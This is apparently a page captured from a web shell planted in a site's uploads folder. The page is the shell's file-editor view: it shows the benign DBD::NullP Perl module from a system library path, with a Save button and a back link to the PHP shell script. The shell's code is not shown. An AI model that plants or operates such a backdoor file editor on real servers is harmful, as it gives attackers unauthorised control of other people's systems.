<h2>Edit File - NullP.pm</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/lib64/perl5/vendor_perl/DBD/NullP.pm">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">use strict;
{
    package DBD::NullP;

    require DBI;
    require Carp;

    our @EXPORT = qw(); # Do NOT @EXPORT anything.
    our $VERSION = &quot;12.014715&quot;;

#   $Id: NullP.pm 14714 2011-02-22 17:27:07Z Tim $
#
#   Copyright (c) 1994-2007 Tim Bunce
#
#   You may distribute under the terms of either the GNU General Public
#   License or the Artistic License, as specified in the Perl README file.

    our $drh = undef;	# holds driver handle once initialised

    sub driver{
	return $drh if $drh;
	my($class, $attr) = @_;
	$class .= &quot;::dr&quot;;
	($drh) = DBI::_new_drh($class, {
	    &#039;Name&#039; =&gt; &#039;NullP&#039;,
	    &#039;Version&#039; =&gt; $VERSION,
	    &#039;Attribution&#039; =&gt; &#039;DBD Example Null Perl stub by Tim Bunce&#039;,
	    }, [ qw&#039;example implementors private data&#039;]);
	$drh;
    }

    sub CLONE {
        undef $drh;
    }
}


{   package DBD::NullP::dr; # ====== DRIVER ======
    our $imp_data_size = 0;
    use strict;

    sub connect { # normally overridden, but a handy default
        my $dbh = shift-&gt;SUPER::connect(@_)
            or return;
        $dbh-&gt;STORE(Active =&gt; 1);
        $dbh;
    }


    sub DESTROY { undef }
}


{   package DBD::NullP::db; # ====== DATABASE ======
    our $imp_data_size = 0;
    use strict;
    use Carp qw(croak);

    # Added get_info to support tests in 10examp.t
    sub get_info {
        my ($dbh, $type) = @_;

        if ($type == 29) {      # identifier quote
            return &#039;&quot;&#039;;
        }
        return;
    }

    # Added table_info to support tests in 10examp.t
    sub table_info {
        my ($dbh, $catalog, $schema, $table, $type) = @_;

        my ($outer, $sth) = DBI::_new_sth($dbh, {
            &#039;Statement&#039;     =&gt; &#039;tables&#039;,
        });
        if (defined($type) &amp;&amp; $type eq &#039;%&#039; &amp;&amp; # special case for tables(&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;%&#039;)
                grep {defined($_) &amp;&amp; $_ eq &#039;&#039;} ($catalog, $schema, $table)) {
            $outer-&gt;{dbd_nullp_data} = [[undef, undef, undef, &#039;TABLE&#039;, undef],
                                        [undef, undef, undef, &#039;VIEW&#039;, undef],
                                        [undef, undef, undef, &#039;ALIAS&#039;, undef]];
        } elsif (defined($catalog) &amp;&amp; $catalog eq &#039;%&#039; &amp;&amp; # special case for tables(&#039;%&#039;,&#039;&#039;,&#039;&#039;)
                grep {defined($_) &amp;&amp; $_ eq &#039;&#039;} ($schema, $table)) {
            $outer-&gt;{dbd_nullp_data} = [[&#039;catalog1&#039;, undef, undef, undef, undef],
                                        [&#039;catalog2&#039;, undef, undef, undef, undef]];
        } else {
            $outer-&gt;{dbd_nullp_data} = [[&#039;catalog&#039;, &#039;schema&#039;, &#039;table1&#039;, &#039;TABLE&#039;]];
            $outer-&gt;{dbd_nullp_data} = [[&#039;catalog&#039;, &#039;schema&#039;, &#039;table2&#039;, &#039;TABLE&#039;]];
            $outer-&gt;{dbd_nullp_data} = [[&#039;catalog&#039;, &#039;schema&#039;, &#039;table3&#039;, &#039;TABLE&#039;]];
        }
        $outer-&gt;STORE(NUM_OF_FIELDS =&gt; 5);
        $sth-&gt;STORE(Active =&gt; 1);
        return $outer;
    }

    sub prepare {
	my ($dbh, $statement)= @_;

	my ($outer, $sth) = DBI::_new_sth($dbh, {
	    &#039;Statement&#039;     =&gt; $statement,
        });

	return $outer;
    }

    sub FETCH {
	my ($dbh, $attrib) = @_;
	# In reality this would interrogate the database engine to
	# either return dynamic values that cannot be precomputed
	# or fetch and cache attribute values too expensive to prefetch.
	return $dbh-&gt;SUPER::FETCH($attrib);
    }

    sub STORE {
	my ($dbh, $attrib, $value) = @_;
	# would normally validate and only store known attributes
	# else pass up to DBI to handle
	if ($attrib eq &#039;AutoCommit&#039;) {
	    Carp::croak(&quot;Can&#039;t disable AutoCommit&quot;) unless $value;
            # convert AutoCommit values to magic ones to let DBI
            # know that the driver has &#039;handled&#039; the AutoCommit attribute
            $value = ($value) ? -901 : -900;
	} elsif ($attrib eq &#039;nullp_set_err&#039;) {
           # a fake attribute to produce a test case where STORE issues a warning
           $dbh-&gt;set_err($value, $value);
        }
	return $dbh-&gt;SUPER::STORE($attrib, $value);
    }

    sub ping { 1 }

    sub disconnect {
	shift-&gt;STORE(Active =&gt; 0);
    }

}


{   package DBD::NullP::st; # ====== STATEMENT ======
    our $imp_data_size = 0;
    use strict;

    sub bind_param {
        my ($sth, $param, $value, $attr) = @_;
        $sth-&gt;{ParamValues}{$param} = $value;
        $sth-&gt;{ParamAttr}{$param}   = $attr
            if defined $attr; # attr is sticky if not explicitly set
        return 1;
    }

    sub execute {
	my $sth = shift;
        $sth-&gt;bind_param($_, $_[$_-1]) for (1..@_);
        if ($sth-&gt;{Statement} =~ m/^ \s* SELECT \s+/xmsi) {
            $sth-&gt;STORE(NUM_OF_FIELDS =&gt; 1);
            $sth-&gt;{NAME} = [ &quot;fieldname&quot; ];
            # just for the sake of returning something, we return the params
            my $params = $sth-&gt;{ParamValues} || {};
            $sth-&gt;{dbd_nullp_data} = [ @{$params}{ sort keys %$params } ];
            $sth-&gt;STORE(Active =&gt; 1);
        }
        # force a sleep - handy for testing
        elsif ($sth-&gt;{Statement} =~ m/^ \s* SLEEP \s+ (\S+) /xmsi) {
            my $secs = $1;
            if (eval { require Time::HiRes; defined &amp;Time::HiRes::sleep }) {
                Time::HiRes::sleep($secs);
            }
            else {
                sleep $secs;
            }
        }
        # force an error - handy for testing
        elsif ($sth-&gt;{Statement} =~ m/^ \s* ERROR \s+ (\d+) \s* (.*) /xmsi) {
            return $sth-&gt;set_err($1, $2);
        }
        # anything else is silently ignored, successfully
	1;
    }

    sub fetchrow_arrayref {
	my $sth = shift;
	my $data = shift @{$sth-&gt;{dbd_nullp_data}};
        if (!$data || !@$data) {
            $sth-&gt;finish;     # no more data so finish
            return undef;
	}
        return $sth-&gt;_set_fbav($data);
    }
    *fetch = \&amp;fetchrow_arrayref; # alias

    sub FETCH {
	my ($sth, $attrib) = @_;
	# would normally validate and only fetch known attributes
	# else pass up to DBI to handle
	return $sth-&gt;SUPER::FETCH($attrib);
    }

    sub STORE {
	my ($sth, $attrib, $value) = @_;
	# would normally validate and only store known attributes
	# else pass up to DBI to handle
	return $sth-&gt;SUPER::STORE($attrib, $value);
    }

}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>